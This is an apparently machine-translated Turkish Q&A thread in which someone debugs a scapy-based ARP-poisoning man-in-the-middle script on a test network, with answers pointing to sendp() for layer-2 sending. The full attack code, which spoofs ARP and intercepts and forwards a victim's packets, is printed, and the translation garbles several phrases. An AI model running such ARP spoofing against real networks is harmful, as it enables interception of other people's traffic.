2012-09-30 17 views
11

Bir test ağında scapy ile orta saldırıya bir adam yapmaya çalışıyorum. Burada, Şimdi anladınız o enter image description hereScapy ile orta saldırıda adam

kod:: My kurulum böyledir Bu kod VM2 çalışıyorsa

from scapy.all import * 
import multiprocessing 
import time 
class MITM: 
    packets=[] 
    def __init__(self,victim=("192.168.116.143","00:0c:29:d1:aa:71"),node2=("192.168.116.1", "00:50:56:c0:00:08")): 
    self.victim=victim 
    self.node2=node2 
    multiprocessing.Process(target=self.arp_poison).start() 
    try: 
     sniff(filter='((dst %s) and (src %s)) or ((dst %s) and (src %s))'%(self.node2[0], self.victim[0],self.victim[0],self.node2[0]),prn=lambda x:self.routep(x)) 
    except KeyboardInterrupt as e: 
     wireshark(packets) 
    #self.arp_poison() 
    def routep(self,packet): 
    if packet.haslayer(IP): 
     packet.show() 
     if packet[IP].dst==self.victim[0]: 
     packet[Ether].src=packet[Ether].dst 
     packet[Ether].dst=self.victim[1] 
     elif packet[IP].dst==self.node2[0]: 
     packet[Ether].src=packet[Ether].dst 
     packet[Ether].dst=self.node2[1] 
     self.packets.append(packet) 
     packet.display() 
     send(packet) 
     print len(self.packets) 
     if len(self.packets)==10: 
     wireshark(self.packets) 
    def arp_poison(self): 
    a=ARP() 
    a.psrc=self.victim[0] 
    a.pdst=self.node2[0] 
    b=ARP() 
    b.psrc=self.node2[0] 
    b.pdst=self.victim[0] 
    cond=True 
    while cond: 
     send(b) 
     send(a) 
     time.sleep(5) 
     #cond=False 
if __name__=="__main__": 
    mitm=MITM() 

.

Arp zehirlenmesi iyi çalışıyor, her iki makinenin arpa önlüklerini kontrol ediyorum ve beklediğim gibi davranıyorum. Ama routep içeride, ben src ve dst mac adresini değiştirmek ve uygun ana bilgisayara alınan paket göndermek için deneyin scapy bir uyarı verir:

WARNING: more Mac address to reach destination not found. Using broadcast 

Ve ben, modifiye paketleri bırakarak değildir VM2 üzerinde wireshark gördüğünüz makine. Neden böyle oluyor? Bir şey mi eksik?

+1

Sanırım bunu zorlaştırıyorsunuz. Sadece alt ağa sahte arp cevapları göndermeniz ve makinenizde ip iletimini etkinleştirmeniz yeterlidir. http://www.secdev.org/projects/scapy/doc/usage.html#arp-cache-poisoning – tMC

+0

MAC katmanı da dahil olmak üzere çerçeveler göndermek ve almak istediğinizi açıkça belirtmeniz gerekir mi? –

cevap

1

Scapy'in send()'unu kullanırsanız, üçüncü katmanda çalışır. Script belgelerinden:

Send() işlevi, paketleri 3. katmandan gönderecektir. Yani, sizin için yönlendirme ve katman 2'yi işleyecektir. Eğer sendp() kullanmak için olsaydı sendp() işlevi hedefin Mac adresi için varsayılan değerleri kullanmaz ve warning'll gitmiş, katmanın 2.

de çalışacaktır.